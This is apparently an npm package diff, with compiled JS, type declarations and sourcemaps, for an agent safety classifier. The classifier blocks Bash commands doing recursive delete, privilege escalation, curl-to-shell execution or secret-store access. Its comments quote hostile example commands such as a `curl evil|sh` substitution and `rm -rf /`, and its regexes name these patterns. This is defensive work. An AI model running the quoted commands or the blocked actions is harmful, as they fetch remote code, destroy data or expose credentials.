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"}
|
|
@@ -53,6 +53,71 @@ export interface AbsoluteBlockMatch {
|
|
|
53
53
|
/** Redacted form of the offending arg — path for Read/Write, first token for Bash. */
|
|
54
54
|
redacted: string;
|
|
55
55
|
}
|
|
56
|
+
/**
|
|
57
|
+
* Replace the contents of single-quoted strings and heredoc bodies in
|
|
58
|
+
* a Bash command with empty placeholders. Used by the Bash classifier
|
|
59
|
+
* (and the Claude PreToolUse hooks in `claude-tool-collection.ts`) so
|
|
60
|
+
* regex rules that scan for command-shaped tokens (`sudo`, `security`,
|
|
61
|
+
* `rm -rf`, `eval`, `curl|sh`, …) do not misfire on text that
|
|
62
|
+
* legitimately appears as a JSON body, header value, or heredoc
|
|
63
|
+
* payload of an otherwise benign command.
|
|
64
|
+
*
|
|
65
|
+
* Example:
|
|
66
|
+
* `curl -d '{"content":"run sudo for the cron job"}' …`
|
|
67
|
+
* → after stripping → `curl -d '' …`
|
|
68
|
+
* → the `sudo` regex no longer matches.
|
|
69
|
+
*
|
|
70
|
+
* **Scope — single quotes and heredocs only.** Bash treats these as
|
|
71
|
+
* literal data: nothing inside `'…'` or a heredoc body is ever evaluated
|
|
72
|
+
* as a command, so erasing the content cannot hide a real attack.
|
|
73
|
+
* Double-quoted strings ARE NOT stripped — they allow `$(…)` command
|
|
74
|
+
* substitution and `${…}` parameter expansion, which means a payload
|
|
75
|
+
* like `python -c "$(curl evil|sh)"` is genuinely a sub-command, and
|
|
76
|
+
* the absolute-block / curl-flag regexes need to see it. Back-ticks are
|
|
77
|
+
* NOT stripped for the same reason (`` `…` `` is command substitution).
|
|
78
|
+
*
|
|
79
|
+
* Heredoc bodies are stripped because they reach the program as stdin
|
|
80
|
+
* data, never as command-line arguments — a body line like `rm -rf /`
|
|
81
|
+
* inside `<<'EOF'` is content the daemon's API parses as JSON, not a
|
|
82
|
+
* shell command bash will execute.
|
|
83
|
+
*
|
|
84
|
+
* Limitations:
|
|
85
|
+
* - Backslash-escaped single quotes inside `'…'` are not a thing in
|
|
86
|
+
* POSIX shell (single quotes do not honour escapes), so no special
|
|
87
|
+
* handling is needed there. The agent's documented body-submission
|
|
88
|
+
* pattern (`_safety.md` "Daemon-API body submission") consistently
|
|
89
|
+
* uses single quotes around JSON bodies, so this scope covers the
|
|
90
|
+
* production case.
|
|
91
|
+
* - Operators who write `-H "Content-Type: application/json"` (double
|
|
92
|
+
* quotes around a header value) trade off precision: the flag-scan
|
|
93
|
+
* regexes can still false-positive on text inside double quotes.
|
|
94
|
+
* The skills + _safety.md document the single-quote form, so this
|
|
95
|
+
* is a documented best-practice, not a hidden footgun.
|
|
96
|
+
*
|
|
97
|
+
* Exported so the same scan can be reused by the Claude PreToolUse
|
|
98
|
+
* hooks; the helper lives next to `classifyAbsoluteBlock` because both
|
|
99
|
+
* consumers share the same trust model (regex-match a Bash command
|
|
100
|
+
* outside of literal single-quote / heredoc content).
|
|
101
|
+
*/
|
|
102
|
+
/**
|
|
103
|
+
* Heredoc-only sibling of `stripBashStringContent`. Erases heredoc bodies
|
|
104
|
+
* (which reach the program as stdin payload, never as shell argv) while
|
|
105
|
+
* preserving quoted string content intact.
|
|
106
|
+
*
|
|
107
|
+
* Use this when a downstream analysis needs to **tokenize** the command
|
|
108
|
+
* and read literal quoted argument values — the URL extractor in the
|
|
109
|
+
* Claude curl hook recognises `curl 'http://localhost:8321/...'` as a
|
|
110
|
+
* target URL by looking inside the single-quoted token, so it cannot
|
|
111
|
+
* use the broader `stripBashStringContent` (which collapses every
|
|
112
|
+
* single-quoted string to `''`).
|
|
113
|
+
*
|
|
114
|
+
* Substring-pattern scans that only test for flag presence (and never
|
|
115
|
+
* need to read a flag's value) should keep using `stripBashStringContent`
|
|
116
|
+
* — it gives the strongest false-positive immunity for prose inside
|
|
117
|
+
* quoted bodies.
|
|
118
|
+
*/
|
|
119
|
+
export declare function stripBashHeredocs(cmd: string): string;
|
|
120
|
+
export declare function stripBashStringContent(cmd: string): string;
|
|
56
121
|
export declare function classifyAbsoluteBlock(toolName: string, rawArg: string | undefined): AbsoluteBlockMatch | null;
|
|
57
122
|
/**
|
|
58
123
|
* Return true when `raw` looks like a path to a credential / secret file.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"always-disallowed.d.ts","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,eAAO,MAAM,uBAAuB,smEAyK1B,CAAC;AAEX;;;;;;;;;GASG;AACH,MAAM,MAAM,qBAAqB,GAC7B,kBAAkB,GAClB,sBAAsB,GACtB,eAAe,GACf,YAAY,GACZ,aAAa,GACb,cAAc,CAAC;AAEnB,MAAM,WAAW,kBAAkB;IACjC,QAAQ,EAAE,qBAAqB,CAAC;IAChC,sFAAsF;IACtF,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED,wBAAgB,qBAAqB,CACnC,QAAQ,EAAE,MAAM,EAChB,MAAM,EAAE,MAAM,GAAG,SAAS,GACzB,kBAAkB,GAAG,IAAI,
|
|
1
|
+
{"version":3,"file":"always-disallowed.d.ts","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,eAAO,MAAM,uBAAuB,smEAyK1B,CAAC;AAEX;;;;;;;;;GASG;AACH,MAAM,MAAM,qBAAqB,GAC7B,kBAAkB,GAClB,sBAAsB,GACtB,eAAe,GACf,YAAY,GACZ,aAAa,GACb,cAAc,CAAC;AAEnB,MAAM,WAAW,kBAAkB;IACjC,QAAQ,EAAE,qBAAqB,CAAC;IAChC,sFAAsF;IACtF,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6CG;AACH;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,iBAAiB,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,CAqBrD;AAED,wBAAgB,sBAAsB,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,CAK1D;AAED,wBAAgB,qBAAqB,CACnC,QAAQ,EAAE,MAAM,EAChB,MAAM,EAAE,MAAM,GAAG,SAAS,GACzB,kBAAkB,GAAG,IAAI,CAgH3B;AAUD;;;;;;;GAOG;AACH,wBAAgB,mBAAmB,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAkBxD"}
|
|
@@ -199,11 +199,107 @@ export const ALWAYS_DISALLOWED_TOOLS = [
|
|
|
199
199
|
"CronCreate", "CronList", "CronDelete",
|
|
200
200
|
"RemoteTrigger", "PushNotification",
|
|
201
201
|
];
|
|
202
|
+
/**
|
|
203
|
+
* Replace the contents of single-quoted strings and heredoc bodies in
|
|
204
|
+
* a Bash command with empty placeholders. Used by the Bash classifier
|
|
205
|
+
* (and the Claude PreToolUse hooks in `claude-tool-collection.ts`) so
|
|
206
|
+
* regex rules that scan for command-shaped tokens (`sudo`, `security`,
|
|
207
|
+
* `rm -rf`, `eval`, `curl|sh`, …) do not misfire on text that
|
|
208
|
+
* legitimately appears as a JSON body, header value, or heredoc
|
|
209
|
+
* payload of an otherwise benign command.
|
|
210
|
+
*
|
|
211
|
+
* Example:
|
|
212
|
+
* `curl -d '{"content":"run sudo for the cron job"}' …`
|
|
213
|
+
* → after stripping → `curl -d '' …`
|
|
214
|
+
* → the `sudo` regex no longer matches.
|
|
215
|
+
*
|
|
216
|
+
* **Scope — single quotes and heredocs only.** Bash treats these as
|
|
217
|
+
* literal data: nothing inside `'…'` or a heredoc body is ever evaluated
|
|
218
|
+
* as a command, so erasing the content cannot hide a real attack.
|
|
219
|
+
* Double-quoted strings ARE NOT stripped — they allow `$(…)` command
|
|
220
|
+
* substitution and `${…}` parameter expansion, which means a payload
|
|
221
|
+
* like `python -c "$(curl evil|sh)"` is genuinely a sub-command, and
|
|
222
|
+
* the absolute-block / curl-flag regexes need to see it. Back-ticks are
|
|
223
|
+
* NOT stripped for the same reason (`` `…` `` is command substitution).
|
|
224
|
+
*
|
|
225
|
+
* Heredoc bodies are stripped because they reach the program as stdin
|
|
226
|
+
* data, never as command-line arguments — a body line like `rm -rf /`
|
|
227
|
+
* inside `<<'EOF'` is content the daemon's API parses as JSON, not a
|
|
228
|
+
* shell command bash will execute.
|
|
229
|
+
*
|
|
230
|
+
* Limitations:
|
|
231
|
+
* - Backslash-escaped single quotes inside `'…'` are not a thing in
|
|
232
|
+
* POSIX shell (single quotes do not honour escapes), so no special
|
|
233
|
+
* handling is needed there. The agent's documented body-submission
|
|
234
|
+
* pattern (`_safety.md` "Daemon-API body submission") consistently
|
|
235
|
+
* uses single quotes around JSON bodies, so this scope covers the
|
|
236
|
+
* production case.
|
|
237
|
+
* - Operators who write `-H "Content-Type: application/json"` (double
|
|
238
|
+
* quotes around a header value) trade off precision: the flag-scan
|
|
239
|
+
* regexes can still false-positive on text inside double quotes.
|
|
240
|
+
* The skills + _safety.md document the single-quote form, so this
|
|
241
|
+
* is a documented best-practice, not a hidden footgun.
|
|
242
|
+
*
|
|
243
|
+
* Exported so the same scan can be reused by the Claude PreToolUse
|
|
244
|
+
* hooks; the helper lives next to `classifyAbsoluteBlock` because both
|
|
245
|
+
* consumers share the same trust model (regex-match a Bash command
|
|
246
|
+
* outside of literal single-quote / heredoc content).
|
|
247
|
+
*/
|
|
248
|
+
/**
|
|
249
|
+
* Heredoc-only sibling of `stripBashStringContent`. Erases heredoc bodies
|
|
250
|
+
* (which reach the program as stdin payload, never as shell argv) while
|
|
251
|
+
* preserving quoted string content intact.
|
|
252
|
+
*
|
|
253
|
+
* Use this when a downstream analysis needs to **tokenize** the command
|
|
254
|
+
* and read literal quoted argument values — the URL extractor in the
|
|
255
|
+
* Claude curl hook recognises `curl 'http://localhost:8321/...'` as a
|
|
256
|
+
* target URL by looking inside the single-quoted token, so it cannot
|
|
257
|
+
* use the broader `stripBashStringContent` (which collapses every
|
|
258
|
+
* single-quoted string to `''`).
|
|
259
|
+
*
|
|
260
|
+
* Substring-pattern scans that only test for flag presence (and never
|
|
261
|
+
* need to read a flag's value) should keep using `stripBashStringContent`
|
|
262
|
+
* — it gives the strongest false-positive immunity for prose inside
|
|
263
|
+
* quoted bodies.
|
|
264
|
+
*/
|
|
265
|
+
export function stripBashHeredocs(cmd) {
|
|
266
|
+
// Identify every `<<DELIM` / `<<'DELIM'` / `<<"DELIM"` declaration in
|
|
267
|
+
// the ORIGINAL command, then erase each body up to the line that
|
|
268
|
+
// contains only the matching delimiter. The `<<-` form allows leading
|
|
269
|
+
// whitespace on the closing delimiter line and is honoured.
|
|
270
|
+
const heredocs = [];
|
|
271
|
+
const declRe = /<<-?\s*(?:'([^']+)'|"([^"]+)"|(\w+))/g;
|
|
272
|
+
let dm;
|
|
273
|
+
while ((dm = declRe.exec(cmd)) !== null) {
|
|
274
|
+
const delim = dm[1] ?? dm[2] ?? dm[3] ?? "";
|
|
275
|
+
if (delim)
|
|
276
|
+
heredocs.push({ delim, allowIndent: dm[0].startsWith("<<-") });
|
|
277
|
+
}
|
|
278
|
+
let stripped = cmd;
|
|
279
|
+
for (const { delim, allowIndent } of heredocs) {
|
|
280
|
+
const escDelim = delim.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
281
|
+
const bodyRe = new RegExp(`\\n[\\s\\S]*?\\n${allowIndent ? "[\\t ]*" : ""}${escDelim}(?=\\n|$)`);
|
|
282
|
+
stripped = stripped.replace(bodyRe, "\n");
|
|
283
|
+
}
|
|
284
|
+
return stripped;
|
|
285
|
+
}
|
|
286
|
+
export function stripBashStringContent(cmd) {
|
|
287
|
+
// Phase 1 — heredocs (delegated; see `stripBashHeredocs` JSDoc).
|
|
288
|
+
// Phase 2 — single-quoted strings only. Double quotes and back-ticks
|
|
289
|
+
// are intentionally left in place (see the JSDoc above on why).
|
|
290
|
+
return stripBashHeredocs(cmd).replace(/'[^']*'/g, "''");
|
|
291
|
+
}
|
|
202
292
|
export function classifyAbsoluteBlock(toolName, rawArg) {
|
|
203
293
|
if (!rawArg)
|
|
204
294
|
return null;
|
|
205
295
|
const arg = rawArg.trim();
|
|
206
296
|
if (toolName === "Bash") {
|
|
297
|
+
// Run every pattern check against the quote/heredoc-stripped form
|
|
298
|
+
// so command-shaped text inside JSON bodies / header values /
|
|
299
|
+
// heredoc payloads cannot trip the classifier. The raw `arg` is
|
|
300
|
+
// still preserved for `firstToken(arg)` so audit rows record the
|
|
301
|
+
// actual leading executable the agent attempted to invoke.
|
|
302
|
+
const scan = stripBashStringContent(arg);
|
|
207
303
|
// Recursive delete — runs as an independent PreToolUse `block` hook
|
|
208
304
|
// (claude-code-core.ts:1873-1884) on top of the SDK `disallowedTools`
|
|
209
305
|
// glob layer, so this regex MAY be broader than the static SDK list:
|
|
@@ -229,11 +325,11 @@ export function classifyAbsoluteBlock(toolName, rawArg) {
|
|
|
229
325
|
// happens to contain `rm` mid-stream — e.g. `echo rm --recursive`
|
|
230
326
|
// or `grep "rm -rf" file`.
|
|
231
327
|
const cmdStart = "(?:^|[;&|`(\\n]\\s*)";
|
|
232
|
-
if (new RegExp(`${cmdStart}rm\\s+(?:-[a-zA-Z]*[rR][a-zA-Z]*|--recursive)\\b`).test(
|
|
233
|
-
|| new RegExp(`${cmdStart}rm\\b[^|&;\`\\n]*?\\s--recursive\\b`).test(
|
|
328
|
+
if (new RegExp(`${cmdStart}rm\\s+(?:-[a-zA-Z]*[rR][a-zA-Z]*|--recursive)\\b`).test(scan)
|
|
329
|
+
|| new RegExp(`${cmdStart}rm\\b[^|&;\`\\n]*?\\s--recursive\\b`).test(scan)) {
|
|
234
330
|
return { category: "recursive_delete", redacted: firstToken(arg) };
|
|
235
331
|
}
|
|
236
|
-
if (/(^|\s)(sudo|doas|su)(\s|$)/.test(
|
|
332
|
+
if (/(^|\s)(sudo|doas|su)(\s|$)/.test(scan)) {
|
|
237
333
|
return { category: "privilege_escalation", redacted: firstToken(arg) };
|
|
238
334
|
}
|
|
239
335
|
// Pipe-to-shell and indirect-eval RCE.
|
|
@@ -272,15 +368,15 @@ export function classifyAbsoluteBlock(toolName, rawArg) {
|
|
|
272
368
|
// existing `cmdStart` anchor used by the `rm` rule (declared above), so
|
|
273
369
|
// `eval`/`source` only triggers when invoked as a command at start-of-line
|
|
274
370
|
// or after a shell separator.
|
|
275
|
-
if (/\b(?:curl|wget)\b[^|]*\|\s*(?:sh|bash)\b/.test(
|
|
276
|
-
|| /\b(?:bash|sh)\s*<\(/.test(
|
|
277
|
-
|| /<\(\s*(?:curl|wget)\b/.test(
|
|
278
|
-
|| new RegExp(`${cmdStart}(?:eval|source)\\b\\s+\\S`).test(
|
|
279
|
-
|| /(?:^|[\s;&|`])\.\s+<\(\s*(?:curl|wget)\b/.test(
|
|
280
|
-
|| /\b(?:python|python3|node|deno|perl|ruby|php)\b[^|]*?(?:-c|-e|--eval|--exec)\b[^|]*?\$\([^)]*?\b(?:curl|wget)\b/.test(
|
|
371
|
+
if (/\b(?:curl|wget)\b[^|]*\|\s*(?:sh|bash)\b/.test(scan)
|
|
372
|
+
|| /\b(?:bash|sh)\s*<\(/.test(scan)
|
|
373
|
+
|| /<\(\s*(?:curl|wget)\b/.test(scan)
|
|
374
|
+
|| new RegExp(`${cmdStart}(?:eval|source)\\b\\s+\\S`).test(scan)
|
|
375
|
+
|| /(?:^|[\s;&|`])\.\s+<\(\s*(?:curl|wget)\b/.test(scan)
|
|
376
|
+
|| /\b(?:python|python3|node|deno|perl|ruby|php)\b[^|]*?(?:-c|-e|--eval|--exec)\b[^|]*?\$\([^)]*?\b(?:curl|wget)\b/.test(scan)) {
|
|
281
377
|
return { category: "pipe_to_shell", redacted: firstToken(arg) };
|
|
282
378
|
}
|
|
283
|
-
if (/(^|\s)(security|secret-tool|cmdkey)\b/.test(
|
|
379
|
+
if (/(^|\s)(security|secret-tool|cmdkey)\b/.test(scan)) {
|
|
284
380
|
return { category: "secret_cli", redacted: firstToken(arg) };
|
|
285
381
|
}
|
|
286
382
|
return null;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"always-disallowed.js","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"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
|
|
1
|
+
{"version":3,"file":"always-disallowed.js","sourceRoot":"","sources":["../../src/safety/always-disallowed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,MAAM,CAAC,MAAM,uBAAuB,GAAG;IACrC,yBAAyB;IACzB,qEAAqE;IACrE,0EAA0E;IAC1E,2EAA2E;IAC3E,wEAAwE;IACxE,kEAAkE;IAClE,EAAE;IACF,sEAAsE;IACtE,oEAAoE;IACpE,oEAAoE;IACpE,oEAAoE;IACpE,+CAA+C;IAC/C,EAAE;IACF,wDAAwD;IACxD,mEAAmE;IACnE,uEAAuE;IACvE,kEAAkE;IAClE,wEAAwE;IACxE,2EAA2E;IAC3E,sEAAsE;IACtE,2BAA2B;IAC3B,qEAAqE;IACrE,qDAAqD;IACrD,EAAE;IACF,sEAAsE;IACtE,8BAA8B;IAC9B,oEAAoE;IACpE,6DAA6D;IAC7D,8DAA8D;IAC9D,qEAAqE;IACrE,qEAAqE;IACrE,0CAA0C;IAC1C,sEAAsE;IACtE,uEAAuE;IACvE,kDAAkD;IAClD,gBAAgB;IAChB,iBAAiB;IACjB,iBAAiB;IACjB,iBAAiB;IACjB,eAAe;IACf,yEAAyE;IACzE,uEAAuE;IACvE,oCAAoC;IACpC,eAAe;IACf,eAAe;IACf,eAAe;IACf,eAAe;IACf,eAAe;IACf,qDAAqD;IACrD,eAAe;IACf,4DAA4D;IAC5D,eAAe;IACf,0CAA0C;IAC1C,eAAe;IACf,0CAA0C;IAC1C,eAAe;IACf,wCAAwC;IACxC,eAAe;IACf,+DAA+D;IAC/D,cAAc;IACd,eAAe;IACf,eAAe;IACf,eAAe;IACf,eAAe;IACf,eAAe;IACf,6EAA6E;IAC7E,yEAAyE;IACzE,qEAAqE;IACrE,gEAAgE;IAChE,uBAAuB;IACvB,+BAA+B;IAC/B,+BAA+B;IAE/B,6BAA6B;IAC7B,cAAc;IACd,cAAc;IACd,YAAY;IAEZ,4CAA4C;IAC5C,0EAA0E;IAC1E,wEAAwE;IACxE,sCAAsC;IACtC,oBAAoB;IACpB,sBAAsB;IACtB,oBAAoB;IACpB,sBAAsB;IACtB,kBAAkB;IAClB,gBAAgB;IAChB,4DAA4D;IAC5D,wEAAwE;IACxE,iEAAiE;IACjE,mEAAmE;IACnE,kEAAkE;IAClE,cAAc;IACd,YAAY;IACZ,8DAA8D;IAC9D,qEAA